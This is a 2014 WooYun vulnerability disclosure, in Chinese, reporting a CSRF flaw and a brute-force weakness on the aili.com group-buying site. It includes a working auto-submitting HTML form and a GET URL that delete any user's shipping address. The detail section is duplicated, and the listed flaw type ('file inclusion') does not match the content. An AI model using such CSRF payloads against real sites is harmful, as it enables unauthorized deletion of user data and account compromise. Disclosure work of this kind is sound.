当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-075981

漏洞标题：爱丽网某处设置不严格导致csrf+爆破#一定条件下可重置指定账号

相关厂商：aili.com

漏洞作者： 小龙

提交时间：2014-09-14 22:07

修复时间：2014-10-29 22:08

公开时间：2014-10-29 22:08

漏洞类型：文件包含

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-09-14： 细节已通知厂商并且等待厂商处理中
2014-09-15： 厂商已经确认，细节仅向厂商公开
2014-09-25： 细节向核心白帽子及相关领域专家公开
2014-10-05： 细节向普通白帽子公开
2014-10-15： 细节向实习白帽子公开
2014-10-29： 细节向公众公开

简要描述：

我母鸡啊~。~

详细说明：

在app客户端

1.png


3.png


2.png


返回数值
好的，接下来是csrf了
http://tuan.aili.com/wap/myaddress.php页面
可以删除任意收货地址
构造poc

<html>
<body>
<form id="csrf" name="csrf" action="http://tuan.aili.com/wap/ajax.php" method="POST">
<input type="text" name="action" value="del" />
<input type="text" name="id" value="*****" />
<input type="submit" value="submit">
</form>
<script>
   document.csrf.submit();
</script>
</body>


我们先看看，现在什么都没有

4.png


OK,没有地址，我们打开我们的含有csrf的页面
也可以用get：tuan.aili.com//account/ajax.php?action=deladd&id=****
****代表参数
不发图了，自己可以去测试下哈
一定情况下能重置任意帐号就是说你的wap页面做的不好，容易被爆破，然后就被绑定了。 客户不知道是什么情况。。。。在你的wap页面没有绑定手机，但是在app客户端有这个功能，爆破不是梦。。。
汗，手机太卡了，不上图了。。
apk下载地址：

http://tuan.aili.com/static/aili_Android_0.1.apk


漏洞证明：

在app客户端

1.png


3.png


2.png


返回数值
好的，接下来是csrf了
http://tuan.aili.com/wap/myaddress.php页面
可以删除任意收货地址
构造poc

<html>
<body>
<form id="csrf" name="csrf" action="http://tuan.aili.com/wap/ajax.php" method="POST">
<input type="text" name="action" value="del" />
<input type="text" name="id" value="*****" />
<input type="submit" value="submit">
</form>
<script>
   document.csrf.submit();
</script>
</body>


我们先看看，现在什么都没有

4.png


OK,没有地址，我们打开我们的含有csrf的页面
也可以用get：tuan.aili.com//account/ajax.php?action=deladd&id=****
****代表参数
不发图了，自己可以去测试下哈
一定情况下能重置任意帐号就是说你的wap页面做的不好，容易被爆破，然后就被绑定了。 客户不知道是什么情况。。。。在你的wap页面没有绑定手机，但是在app客户端有这个功能，爆破不是梦。。。
汗，手机太卡了，不上图了。。
apk下载地址：

http://tuan.aili.com/static/aili_Android_0.1.apk


修复方案：

我母鸡啊

版权声明：转载请注明来源 小龙@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2014-09-15 12:15

厂商回复：

龙龙，好久没见你了，甚是想念啊

最新状态：

暂无